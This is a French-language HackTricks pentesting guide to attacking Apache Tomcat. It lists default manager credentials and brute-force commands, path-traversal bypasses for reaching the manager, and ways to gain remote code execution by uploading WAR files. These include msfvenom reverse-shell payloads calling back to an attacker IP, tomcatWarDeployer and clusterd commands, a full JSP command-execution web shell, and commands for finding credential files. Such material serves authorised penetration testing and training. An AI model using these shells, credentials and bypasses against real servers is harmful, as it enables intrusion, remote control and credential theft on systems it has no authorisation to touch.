hacktricks/network-services-pentesting/pentesting-web/tomcat.md
2023-06-03 13:10:46 +00:00

248 lines
13 KiB
Markdown

# Tomcat
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
## Découverte
* Il fonctionne généralement sur le **port 8080**
* **Erreur courante de Tomcat :**
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
## Énumération
### Version
```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author"
```
### Localisation des fichiers de gestionnaire
Il est intéressant de trouver où se trouvent les pages **`/manager`** et **`/host-manager`** car elles peuvent avoir un nom différent. Vous pouvez les rechercher avec une attaque brute-force.
### Énumération de noms d'utilisateur
Dans certaines versions antérieures à Tomcat6, vous pouviez énumérer les utilisateurs :
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
### Identifiants par défaut
Le chemin le plus intéressant de Tomcat est _**/manager/html**_, à l'intérieur de ce chemin, **vous pouvez télécharger et déployer des fichiers war** (exécuter du code). Mais ce chemin est protégé par une authentification HTTP de base, les identifiants les plus courants sont:
* admin:admin
* tomcat:tomcat
* admin:\<RIEN>
* admin:s3cr3t
* tomcat:s3cr3t
* admin:tomcat
Vous pouvez tester ces identifiants et plus en utilisant:
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
Un autre chemin intéressant de Tomcat est `/manager/status`, où vous pouvez voir la version du système d'exploitation et de Tomcat. Cela est utile pour trouver des vulnérabilités affectant la version de Tomcat lorsque vous ne pouvez pas accéder à `/manager/html`.
### Bruteforce
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts <IP>
```
## Vulnérabilités
### Divulgation de la trace de mot de passe
Essayez d'accéder à `/auth.jsp` et si vous avez beaucoup de chance, il **pourrait divulguer le mot de passe dans une trace de retour**.
### Double encodage d'URL
Une vulnérabilité bien connue _pour_ accéder au gestionnaire d'application \_\_ est mod\_jk dans CVE-2007-1860, qui permet **la traversée de chemin à double encodage d'URL**.
Pour accéder à la gestion web de Tomcat, allez à : _pathTomcat/%252E%252E/manager/html_
Notez que pour télécharger le webshell, vous devrez peut-être utiliser le tour de double encodage et envoyer également un cookie et/ou un jeton SSRF.\
Pour accéder à la porte dérobée, vous devrez peut-être également utiliser le tour de double encodage.
### /examples
Les scripts d'exemple suivants qui accompagnent Apache Tomcat v4.x - v7.x peuvent être utilisés par les attaquants pour obtenir des informations sur le système. Ces scripts sont également connus pour être vulnérables à l'injection de script intersite (XSS) (à partir de [ici](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)).
* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
* /examples/jsp/snp/snoop.jsp
* /examples/jsp/error/error.html
* /examples/jsp/sessions/carts.html
* /examples/jsp/checkbox/check.html
* /examples/jsp/colors/colors.html
* /examples/jsp/cal/login.html
* /examples/jsp/include/include.jsp
* /examples/jsp/forward/forward.jsp
* /examples/jsp/plugin/plugin.jsp
* /examples/jsp/jsptoserv/jsptoservlet.jsp
* /examples/jsp/simpletag/foo.jsp
* /examples/jsp/mail/sendmail.jsp
* /examples/servlet/HelloWorldExample
* /examples/servlet/RequestInfoExample
* /examples/servlet/RequestHeaderExample
* /examples/servlet/RequestParamExample
* /examples/servlet/CookieExample
* /examples/servlet/JndiServlet
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp
### Traversée de chemin (..;/)
Dans certaines [**configurations vulnérables de Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/), vous pouvez accéder à des répertoires protégés dans Tomcat en utilisant le chemin : `/..;/`
Ainsi, par exemple, vous pourriez être en mesure d'**accéder à la page du gestionnaire de Tomcat** en accédant à : `www.vulnerable.com/lalala/..;/manager/html`
**Une autre façon** de contourner les chemins protégés en utilisant cette astuce est d'accéder à `http://www.vulnerable.com/;param=value/manager/html`
## RCE
Enfin, si vous avez accès au gestionnaire d'application Web de Tomcat, vous pouvez **télécharger et déployer un fichier .war (exécuter du code)**.
### Limitations
Vous ne pourrez déployer un WAR que si vous avez **suffisamment de privilèges** (rôles : **admin**, **manager** et **manager-script**). Ces détails peuvent être trouvés dans _tomcat-users.xml_ généralement défini dans `/usr/share/tomcat9/etc/tomcat-users.xml` (cela varie entre les versions) (voir la section [POST](tomcat.md#post)).
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
```
### Metasploit
Metasploit est un outil de test de pénétration open source qui permet aux testeurs de pénétrer dans les systèmes informatiques et de découvrir des vulnérabilités. Il est utilisé pour automatiser les tâches de test de pénétration, telles que la recherche de vulnérabilités, l'exploitation de vulnérabilités et la création de rapports sur les résultats des tests. Metasploit est largement utilisé par les professionnels de la sécurité pour tester la sécurité des systèmes informatiques et pour évaluer les risques de sécurité.
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
### Coquille Inverse MSFVenom
Le payload de coquille inverse MSFVenom est un type de payload qui permet à un attaquant d'obtenir un accès à distance à un système cible en exécutant une coquille inverse sur la machine cible. Ce type de payload est souvent utilisé lors de tests de pénétration pour exploiter des vulnérabilités dans les applications Web et les serveurs.
Pour créer un payload de coquille inverse MSFVenom, vous pouvez utiliser la commande suivante :
```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<your IP> LPORT=<your port> -f war > shell.war
```
Cette commande crée un fichier WAR contenant le payload de coquille inverse. Vous pouvez ensuite déployer ce fichier sur un serveur Tomcat vulnérable pour obtenir un accès à distance à la machine cible.
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war
```
Ensuite, **téléchargez le fichier `revshell.war` et accédez-y (**_**/revshell/**_**)**
### Lier et inverser la coquille avec [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
Dans certains scénarios, cela ne fonctionne pas (par exemple, les anciennes versions de sun)
#### Télécharger
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
#### Shell inversé
```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```
#### Shell de liaison
```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
```
### Utilisation de [Culsterd](https://github.com/hatRiot/clusterd)
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
### Méthode manuelle - Web shell
Créez **index.jsp** avec ce [contenu](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
```java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
```
```bash
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
```
Vous pouvez également installer ceci (permet l'upload, le téléchargement et l'exécution de commandes): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
### Méthode manuelle 2
Obtenez un shell web JSP tel que [celui-ci](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) et créez un fichier WAR:
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
```
## POST
Le nom du fichier de crédentials de Tomcat est _tomcat-users.xml_.
```bash
find / -name tomcat-users.xml 2>/dev/null
```
Autres moyens de collecter les identifiants Tomcat:
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```
## Autres outils de scan Tomcat
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>